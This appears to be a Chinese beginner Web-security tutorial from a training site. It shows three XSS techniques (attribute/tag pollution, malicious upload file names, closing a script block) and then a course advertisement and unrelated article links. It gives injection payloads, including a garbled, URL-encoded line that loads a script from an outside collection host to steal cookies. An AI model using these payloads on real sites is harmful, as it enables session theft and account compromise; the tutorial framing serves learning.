xss绕过尖括号和双括号_【Web安全入门】三个技巧教你玩转XSS漏洞

XSS漏洞是Web应用程序中最常见的漏洞之一，想要入门Web安全的小伙伴，这个知识点是必学的。
i春秋官网中有很多关于XSS漏洞的课程，新手小白可以去官网看课学习。
学习地址：https://www.ichunqiu.com/search/XSS漏洞

XSS是一种经常出现在Web应用中的计算机安全漏洞，也是客户端脚本安全的头号大敌。今天i春秋跟大家分享的是XSS漏洞的进阶篇，如何利用XSS漏洞的一些小技巧，希望对大家学习Web安全有所帮助。

污染标签

简单的说，XSS漏洞的本质就是输入与输出。
比如，我的QQ网名是：
"你的网名">
结果就被污染成
<input value="">

这样的话我就成功弹窗了，但又有什么用呢？
我们可以构造语句：
<input value=""#ff0000">http%3A%2F%2Fxssnow.com%2FdZJ4%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));">
这样我们就能成功打到cookie了。

文件名称XSS

有些网站有上传点，但是后台并未对文件名做更改。
比如上传以后前端代码是这样的：
<a href="http://127.0.0.1/upload/1.rar">test</a>
1.rar假设就是我们上传的文件。

我们是不是又可以构造语句闭合或者污染标签，值得一提的是，你需要抓包改文件名（想在Windows环境下改，你去试试就知道是怎么回事了）
我们就改成：
"><script>alert(1)</script>.rar
这样的话，就变成：

成功弹窗，如果过滤了尖括号 < >
就可以按照之前讲的标签污染法，让它执行我们的JS语句。

闭合JS

有时候，JS会调用我们网站的一些资料，类似昵称。
<html>
<head>
<script>
name = sqler；
</script>
</head>
<body>
welcome sqler；
</body>
</html>
因为我们昵称是被包含在<head>里，我们无法利用。
这样我们就需要为它打开一个新大门。
</script></head><body><img src=x οnerrοr=alert(1)>

这样我们就成功弹窗。
以上就是今天要分享的内容，是不是很简单。
XSS漏洞是Web安全入门必掌握的知识点，当然还有CSRF漏洞、Webshell与文件上传漏洞、SQL注入等等，如果想要全面系统的学习Web安全入门课程，可以到i春秋官网（http://ichunqiu.com/train）进行报名。

快速报名入口：https://www.ichunqiu.com/train/course/11

面向人群

信息安全小白、高等院校信息安全、网络空间安全专业学生、信息安全爱好者、Web应用开发人员。

学习方式

通过在线视频学习资源，结合实验练习，带你全方位学习Web安全。上课期间助教老师实时在互动区进行沟通答疑，若脱离上课时间可在班级内老师答疑模块中进行问题咨询留言。

学习时间

Web安全入门班每月有两次报名机会，大家可以根据自己实际情况进行相应选择，学习时间灵活，非常适合上班族的新手小白们。

课程目标

1、了解Web应用程序架构；
2、熟悉Web常见漏洞原理；
3、掌握Web基础安全漏洞利用方式与防御方法；
4、熟悉渗透测试流程；
5、熟练使用多种渗透测试工具。

课程介绍

课程以漏洞为核心，从Web应用架构、漏洞原理，利用方式与防御方法等，多方面剖析Web应用安全相关知识，并以此为基础学习渗透测试的操作流程及各阶段工作内容，熟悉渗透测试工具的使用。

课程优势

1、低门槛、易学习；
2、知识点配套实验；
3、助教老师答疑。

通过以上内容的介绍，如果还有其他疑问，欢迎大家前来咨询，我们会有更专业的老师为你讲解，给你答疑解惑。谢老师 18513200565（手机、微信同步）

xss绕过尖括号和双括号_【Web安全入门】三个技巧教你玩转XSS漏洞相关推荐

r -括号[ ]和双括号[[ ]]之间的差异
r -括号[ ]和双括号[[ ]]之间的差异,用于访问列表或数据帧的元素. 两者都是子集化的方式.单个括号将返回列表的子集,它本身就是一个列表.即,它可以包含或不包含一个以上的元素.另一方面,双括号将 ...
Shell中的括号、双括号、方括号和双方括号
括号括号一般在命令替换的时候使用. #!/bin/bashtoday=$(date +%y%m%d) touch log.$today 双括号使用双括号,在比较过程中使用高级数学表达式符号描述 ...
xss绕过尖括号和双括号_xss挑战平台练习
-------------------------XSS挑战之旅------------------------- 最近在学习xss,找到了一个xss练习平台,在线地址:http://test.xss ...
vscode angular智能提示_【线下活动】手把手教你玩转 VS Code 插件开发
感谢 Google Developer Group 的邀请,3 月 30 号下午,韩老师将手把手带你玩转 VS Code 插件开发. Angular 使用了 TypeScript,VS Code 使用 ...
shell 括号，双括号，中括号，双中括号
[[]].[]都是用来测试的,[[]]是关键字,里面可以用&&.||.<.>等类似C语言的语法:[]是bash内嵌的命令,也是用于测试的.[[]]通用性更好些. (()), ...
C# json解析字符串总是多出双引号_一篇长文带你在python里玩转Json数据
Json简介 Json(JavaScript Object Notation) 很多网站都会用到Json格式来进行数据的传输和交换,就像上篇我提到的网易云音乐接口,它们返回的数据都是Json格式的. ...
简易mysql优化_优化 MySQL:简单三个技巧
原标题:优化 MySQL:简单三个技巧技巧#1:为临时表分配足够的内存在某些情况下,服务器在处理语句时会创建内部临时表.临时表用于内部操作如GROUP BY和distinct,还有一些ORDER ...
airpods2怎么查正品 ios11系统_拼多多AirPods2开箱评测，4种办法教你验真假，10个AirPods技巧教你玩...
大家好,Apple今天给大家分享一下拼多多上车AirPods 2无线充电盒版的经验,顺便整理了一波AirPods使用技巧,希望你用得上. 入手理由自从去年10月份入手了iPhone XR,其实就挺想 ...
silverlight安装后网页_纯干货收藏|两个技巧教你完美长截屏网页！
在工作过程中,我们总是会遇到需要完整截屏网页,但往往网页是长页面导致无法截屏,今天分享两个小技巧教大家完美保存网页界面. 方法一:网页转换成PDF文档这是一个超级简单的方法,首先要保存你的游览器是谷 ...
python玩微信小程序游戏_用python一步一步教你玩微信小程序【跳一跳】
12月28日,微信上线了小游戏「跳一跳」,瞬间成了全民游戏,如何牢牢占据排行榜的第一位呢?用Python帮助你,Python真的无所不能. 作为技术出身的我们,是不是想用技术改变排名呢? 注意:本文适 ...

xss绕过尖括号和双括号_【Web安全入门】三个技巧教你玩转XSS漏洞

xss绕过尖括号和双括号_【Web安全入门】三个技巧教你玩转XSS漏洞相关推荐

最新文章

热门文章